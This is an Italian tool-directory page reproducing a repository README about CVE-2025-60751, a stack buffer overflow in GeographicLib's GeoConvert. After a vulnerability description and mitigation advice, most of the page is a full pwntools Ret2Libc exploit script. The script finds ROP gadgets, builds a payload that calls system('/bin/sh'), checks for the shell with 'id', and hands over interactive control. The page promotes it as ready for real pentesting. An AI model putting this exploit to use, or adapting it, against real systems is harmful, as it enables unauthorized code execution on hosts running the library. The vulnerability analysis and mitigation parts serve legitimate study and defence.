Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-60751 — Analisi tecnica ed exploit professionale per CVE-2025-60751, un buffer overflow basato su stack in GeographicLib. Include un exploit Ret2Libc basato su pwntools con scoperta dinamica di gadget ROP, integrazione GDB e verifica post-exploit per test di penetrazione educativi. | Kitploit
Strumenti/GitHubGitHub/kaleth4/cve-2025-60751
Analisi delle VulnerabilitàExploitReverse EngineeringShellcodeDebuggerPenetration TestingApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

Analisi tecnica ed exploit professionale per CVE-2025-60751, un buffer overflow basato su stack in GeographicLib. Include un exploit Ret2Libc basato su pwntools con scoperta dinamica di gadget ROP, integrazione GDB e verifica post-exploit per test di penetrazione educativi.

34 mesi faNon ancora revisionato
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-60751: GeographicLib Stack-based Buffer Overflow

📌 Questo repository contiene l'analisi e la documentazione tecnica della vulnerabilità CVE-2025-60751, un errore di overflow del buffer basato sullo stack (Stack-based Buffer Overflow) localizzato nella libreria C++ GeographicLib.


📝 Descrizione

La vulnerabilità si trova nella funzione DMS::InternalDecode all'interno del componente GeoConvert.
L'errore si verifica quando la libreria tenta di elaborare stringhe di coordinate in formato DMS (Gradi, Minuti, Secondi) malformate o eccessivamente lunghe, causando una scrittura oltre i limiti del buffer allocato nello stack.

  • Identificatore: CVE-2025-60751
  • Componente: GeoConvert / DMS::InternalDecode
  • Tipo: Stack-based Buffer Overflow ()
CWE-121
  • Gravità (CVSS 3.1): 7.5 HIGH
  • Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 Impatto

    Un attaccante remoto può inviare una stringa di coordinate appositamente progettata per:

    • Denial of Service (DoS): Causare la chiusura inaspettata (crash) di applicazioni che utilizzano GeographicLib per convertire coordinate.
    • Instabilità del Sistema: Corrompere la memoria adiacente nello stack, influenzando il flusso di esecuzione del programma.

    ⚠️ Nota tecnica: Sebbene il vettore attuale si concentri sulla Disponibilità (A:H), in ambienti specifici senza protezioni moderne della memoria (come Stack Canaries, NX bit o ASLR attivo), questo errore potrebbe potenzialmente scalare a esecuzione arbitraria di codice.


    💻 Sistemi Affetti

    ProdottoVersione vulnerabileDistribuzioni rilevate
    GeographicLib2.5Pacchetti in Debian LTS, Ubuntu, e altri repository Linux che integrano questa versione

    🛠️ Mitigazione e Soluzione

    ✅ Aggiornamento: Si raccomanda vivamente di aggiornare all'ultima versione disponibile di GeographicLib, dove è stata corretta la validazione della lunghezza in InternalDecode.

    ✅ Validazione dell'Input: Se non è possibile aggiornare, implementare uno strato di sanitizzazione che limiti la lunghezza delle stringhe inviate a DMS::Decode (es. max. 32 caratteri).

    ✅ Compilazione Sicura: Assicurarsi di compilare la libreria con flag di protezione dello stack:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 Riferimenti

    • Issue #43 – GeographicLib GitHub
    • Analisi tecnica di zer0matt
    • Debian LTS Advisory

    💀 Exploit Professionale (Livello Avanzato — Stile OSCP / Exploit-DB)

    Questo exploit utilizza pwntools per effettuare un attacco Ret2Libc sfruttando l'overflow del buffer.
    A differenza delle versioni base, questa implementazione è robusta, dinamica e verificabile, pronta per ambienti reali di pentesting e laboratori.

    ✅ Cosa lo rende "Pro"?

    CaratteristicaBeneficio
    ROP(elf) dinamicoNon dipende da gadget hardcoded: li trova automaticamente nel binario.
    Supporto integrato per GDBEsegue python exploit.py GDB → apre una sessione di debug automatica.
    Verifica post-exploitInvia id e conferma la shell prima di consegnare il controllo interattivo.
    RET per stack alignmentEvita crash in system() per allineamento errato (critico in x64).
    Payload strutturato come list + b"".join()Pulito, leggibile, facile da modificare ed estendere.

    🐍 Codice dell'exploit (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ Disclaimer
    Questo repository ha scopi puramente informativi ed educativi per professionisti della cybersecurity.
    L'uso di queste informazioni per scopi illeciti è responsabilità esclusiva dell'utente.
    ❗ Usa il codice con cautela: solo in ambienti autorizzati, isolati e con permesso esplicito.


    🔐 La sicurezza non è una caratteristica — è una disciplina.
    📬 Segnalazione di risultati: [email protected]
    📦 Repository ufficiale: https://github.com/geographiclib/geographiclib

    root@kitploit:~
    Scarica lo strumento